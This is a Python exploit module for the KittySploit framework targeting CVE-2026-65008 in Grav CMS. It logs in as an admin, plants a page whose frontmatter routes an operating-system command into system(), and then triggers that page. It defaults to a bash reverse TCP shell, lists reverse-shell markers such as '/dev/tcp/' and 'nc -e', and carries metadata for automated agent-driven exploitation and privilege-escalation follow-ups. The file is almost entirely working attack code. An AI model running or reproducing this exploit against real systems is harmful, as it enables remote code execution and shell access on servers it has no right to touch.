Grav CMS Blueprint dynamicData RCE (CVE-2026-65008)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-65008 — Grav CMS authenticated Blueprint::dynamicData() RCE."""

from __future__ import annotations

import re
import time
from typing import Optional, Tuple

import requests

from kittysploit import *
from lib.protocols.http.http_client import Http_client

GRAV_PATCHED_VERSION = "2.0.7"
GRAV_VERSION_RE = re.compile(r"Grav(?:CMS)?[^\d]*(\d+\.\d+\.\d+)", re.I)
LOGIN_NONCE_RE = re.compile(
    r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']',
    re.I,
)
ADMIN_NONCE_PATTERNS = (
    re.compile(r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]", re.I),
    re.compile(r"admin-nonce:([a-f0-9]+)", re.I),
    re.compile(r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']', re.I),
)


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Grav CMS Blueprint dynamicData RCE (CVE-2026-65008)",
        "description": (
            "Exploits CVE-2026-65008 in Grav CMS < 2.0.7 (fixed in 2.0.7): an authenticated "
            "user with admin.pages permission can plant a malicious forms frontmatter "
            "directive (data-opts@) that routes through Blueprint::dynamicData() to "
            "Grav\\Common\\Utils::arrayFilterRecursive and system(). Execution triggers "
            "when any visitor loads the planted page."
        ),
        "author": ["zer0dayf", "KittySploit Team"],
        "cve": ["CVE-2026-65008"],
        "platform": Platform.PHP,
        "arch": [Arch.CMD],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": [Platform.UNIX, Platform.LINUX, Platform.PHP, Platform.MULTI],
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-65008",
            "https://github.com/zer0dayf/CVE-2026-65008",
            "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5",
        ],
        "modules": [
            "scanner/http/grav_cms_detect",
        ],
        "tags": [
            "grav",
            "grav-cms",
            "cms",
            "php",
            "blueprint",
            "frontmatter",
            "authenticated",
            "rce",
            "cve-2026-65008",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "content_injection"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["grav", "php"],
                "endpoint_pattern_any": ["/admin"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "Blueprint dynamicData trampoline"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    port = OptPort(80, "Grav HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    base_path = OptString("/", "Grav base path prefix", False)
    username = OptString("admin", "Grav admin username", True)
    password = OptString("", "Grav admin password", True)
    command = OptString("", "OS command (overrides payload when set)", False)
    folder = OptString("", "Planted page folder slug (random if empty)", False, advanced=True)
    verify_cmd = OptString("id", "Command for check() verification", False, advanced=True)
    trigger_timeout = OptInteger(
        12,
        "Seconds to wait when triggering the planted page",
        False,
        advanced=True,
    )
    skip_version_check = OptBool(
        False,
        "Attempt exploit when version appears patched or unknown",
        False,
        advanced=True,
    )

    @staticmethod
    def _version_tuple(version: str) -> Tuple[int, ...]:
        parts = [int(p) for p in re.findall(r"\d+", str(version or ""))]
        return tuple(parts) if parts else ()

    @classmethod
    def _version_lt(cls, left: str, right: str) -> bool:
        a = cls._version_tuple(left)
        b = cls._version_tuple(right)
        if not a or not b:
            return False
        width = max(len(a), len(b))
        return a + (0,) * (width - len(a)) < b + (0,) * (width - len(b))

    @staticmethod
    def _parse_version(text: str) -> str:
        match = GRAV_VERSION_RE.search(text or "")
        return match.group(1) if match else ""

    @staticmethod
    def _extract_output(body: str) -> str:
        lines = []
        for line in (body or "").splitlines():
            stripped = line.strip()
            if not stripped or stripped.startswith("<"):
                continue
            lines.append(stripped)
        return "\n".join(lines).strip()

    def _grav_base(self) -> str:
        val = str(self.base_path or "/").strip() or "/"
        if not val.startswith("/"):
            val = f"/{val}"
        return val.rstrip("/") or ""

    def _grav_path(self, suffix: str) -> str:
        base = self._grav_base()
        suffix = str(suffix or "").strip()
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _grav_get(self, path: str):
        return self.http_request(
            method="GET",
            path=path,
            timeout=max(int(self.timeout or 15), 10),
            allow_redirects=True,
        )

    def _grav_post(self, path: str, data: dict):
        return self.http_request(
            method="POST",
            path=path,
            data=data,
            timeout=max(int(self.timeout or 15), 10),
            allow_redirects=True,
        )

    def _looks_like_grav(self) -> bool:
        for rel in ("/", "/admin"):
            try:
                response = self._grav_get(self._grav_path(rel))
            except Exception:
                continue
            if not response:
                continue
            text = (response.text or "").lower()
            headers = {str(k).lower(): str(v) for k, v in (response.headers or {}).items()}
            if "gravcms" in text or 'generator" content="grav' in text:
                return True
            if "grav-site-" in headers.get("set-cookie", "").lower():
                return True
            if "grav" in text[:3000] and rel == "/admin":
                return True
        return False

    def _get_version(self) -> str:
        for rel in ("/", "/admin"):
            try:
                response = self._grav_get(self._grav_path(rel))
            except Exception:
                continue
            if not response:
                continue
            version = self._parse_version(response.text or "")
            if version:
                return version
        return ""

    def _login_nonce(self) -> Optional[str]:
        response = self._grav_get(self._grav_path("/admin"))
        if not response:
            return None
        match = LOGIN_NONCE_RE.search(response.text or "")
        return match.group(1) if match else None

    def _login(self, username: str, password: str) -> bool:
        nonce = self._login_nonce()
        if not nonce:
            return False
        response = self._grav_post(
            self._grav_path("/admin"),
            {
                "data[username]": username,
                "data[password]": password,
                "task": "login",
                "login-nonce": nonce,
            },
        )
        if not response:
            return False
        body = response.text or ""
        if "login-nonce" in body and "data[username]" in body:
            return False
        return True

    def _admin_nonce(self) -> Optional[str]:
        response = self._grav_get(self._grav_path("/admin"))
        if not response:
            return None
        text = response.text or ""
        for pattern in ADMIN_NONCE_PATTERNS:
            match = pattern.search(text)
            if match:
                return match.group(1)
        return None

    @staticmethod
    def _frontmatter(command: str) -> str:
        safe_cmd = str(command or "").replace("'", "'\\''")
        return (
            "forms:\n"
            "  x:\n"
            "    fields:\n"
            "      y:\n"
            "        type: text\n"
            "        data-opts@:\n"
            "          - 'Grav\\Common\\Utils::arrayFilterRecursive'\n"
            f"          - {{ '{safe_cmd}': 'x' }}\n"
            "          - system"
        )

    def _plant(self, command: str, folder: str, nonce: str) -> bool:
        response = self._grav_post(
            self._grav_path(f"/admin/pages/{folder}"),
            {
                "task": "save",
                "admin-nonce": nonce,
                "form-nonce": nonce,
                "data[folder]": folder,
                "data[name]": "form",
                "data[title]": "RCE",
                "data[content]": "pwned",
                "data[frontmatter]": self._frontmatter(command),
            },
        )
        if not response:
            return False
        return int(response.status_code or 0) in (200, 302)

    def _trigger(self, folder: str, timeout: float) -> Tuple[Optional[str], bool]:
        path = self._grav_path(f"/{folder}")
        wait = max(3.0, float(timeout))
        scheme = "https" if self._to_bool(getattr(self, "ssl", False)) else "http"
        target = str(self.target or "").strip()
        port = int(self.port or 80)
        verify = self._to_bool(getattr(self, "verify_ssl", False))
        url = f"{scheme}://{target}:{port}{path}"
        try:
            response = requests.get(url, timeout=wait, verify=verify, allow_redirects=True)
            return response.text or "", False
        except requests.exceptions.ReadTimeout:
            return None, True

    def _run_command(
        self,
        command: str,
        folder: str,
        *,
        trigger_timeout: float = 12.0,
    ) -> Tuple[Optional[str], bool]:
        nonce = self._admin_nonce()
        if not nonce:
            raise RuntimeError("Could not obtain admin-nonce")
        if not self._plant(command, folder, nonce):
            raise RuntimeError("Failed to plant malicious page frontmatter")
        time.sleep(0.5)
        return self._trigger(folder, trigger_timeout)

    def _folder_name(self) -> str:
        name = str(self.folder or "").strip()
        if name:
            return name
        return f"ks_{self.random_text(8)}"

    def _resolve_command(self) -> str:
        manual = str(self.command or "").strip()
        if manual:
            return manual
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id").strip() or "id"

    def _is_reverse_payload(self, command: str) -> bool:
        path = ""
        try:
            path = str(self._get_configured_payload_path() or "").lower()
        except Exception:
            pass
        markers = ("/dev/tcp/", "bash -i", "bash -c", "reverse", "nc -e", "ncat ")
        return any(m in command.lower() for m in markers) or "reverse" in path

    def check(self):
        if not self._looks_like_grav():
            return {
                "vulnerable": False,
                "reason": "Grav CMS not detected",
                "confidence": "medium",
            }

        version = self._get_version()
        if version and not self._version_lt(version, GRAV_PATCHED_VERSION):
            if not bool(self.skip_version_check):
                return {
                    "vulnerable": False,
                    "reason": f"Grav {version} >= {GRAV_PATCHED_VERSION} (patched)",
                    "confidence": "high",
                    "version": version,
                }

        if not str(self.password or "").strip():
            if version and self._version_lt(version, GRAV_PATCHED_VERSION):
                return {
                    "vulnerable": True,
                    "reason": (
                        f"Grav {version} < {GRAV_PATCHED_VERSION}; set password to confirm"
                    ),
                    "confidence": "medium",
                    "version": version,
                }
            return {
                "vulnerable": True,
                "reason": "Grav CMS detected; set username/password to confirm",
                "confidence": "low",
                "version": version,
            }

        if not self._login(str(self.username), str(self.password)):
            return {
                "vulnerable": False,
                "reason": "Grav detected but admin login failed",
                "confidence": "medium",
                "version": version,
            }

        folder = f"ks_check_{self.random_text(6)}"
        probe = str(self.verify_cmd or "id").strip() or "id"
        try:
            body, timed_out = self._run_command(
                probe,
                folder,
                trigger_timeout=float(self.trigger_timeout or 12),
            )
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Active probe failed after login: {exc}",
                "confidence": "medium",
                "version": version,
            }

        output = self._extract_output(body or "")
        if "uid=" in output:
            return {
                "vulnerable": True,
                "reason": (
                    f"CVE-2026-65008 confirmed on Grav {version or 'unknown'} "
                    f"(<{GRAV_PATCHED_VERSION}): {output.splitlines()[0][:120]}"
                ),
                "confidence": "high",
                "version": version,
            }

        if timed_out and self._is_reverse_payload(probe):
            return {
                "vulnerable": True,
                "reason": "Planted page trigger timed out (likely reverse payload)",
                "confidence": "medium",
                "version": version,
            }

        if version and self._version_lt(version, GRAV_PATCHED_VERSION):
            return {
                "vulnerable": True,
                "reason": (
                    f"Grav {version} < {GRAV_PATCHED_VERSION}; login OK but probe output inconclusive"
                ),
                "confidence": "medium",
                "version": version,
            }

        return {
            "vulnerable": False,
            "reason": "Grav login succeeded but RCE probe did not return command output",
            "confidence": "medium",
            "version": version,
        }

    def run(self):
        try:
            print_status("CVE-2026-65008 — Grav CMS Blueprint dynamicData RCE")
            print_status(f"Target: {self.target}:{self.port}")

            if not str(self.password or "").strip():
                print_error("password is required")
                return False

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            if not self._login(str(self.username), str(self.password)):
                print_error("Admin login failed")
                return False
            print_success(f"Logged in as {self.username}")

            folder = self._folder_name()
            command = self._resolve_command()
            reverse = self._is_reverse_payload(command)
            trigger_wait = 6.0 if reverse else float(self.trigger_timeout or 12)

            print_status(f"Planting payload in page folder /{folder}")
            print_status(f"Command: {command[:100]}{'...' if len(command) > 100 else ''}")

            body, timed_out = self._run_command(command, folder, trigger_timeout=trigger_wait)

            if timed_out:
                print_success(
                    "Trigger request timed out — reverse shell likely connected; check listener"
                )
                self.vulnerable()
                return True

            output = self._extract_output(body or "")
            if output:
                print_success("Command output:")
                print_info(output)
                self.vulnerable()
                return True

            if reverse:
                print_warning(
                    "Reverse payload dispatched but trigger returned without timeout — verify listener"
                )
                self.vulnerable()
                return True

            print_error("No command output observed from planted page")
            return False

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False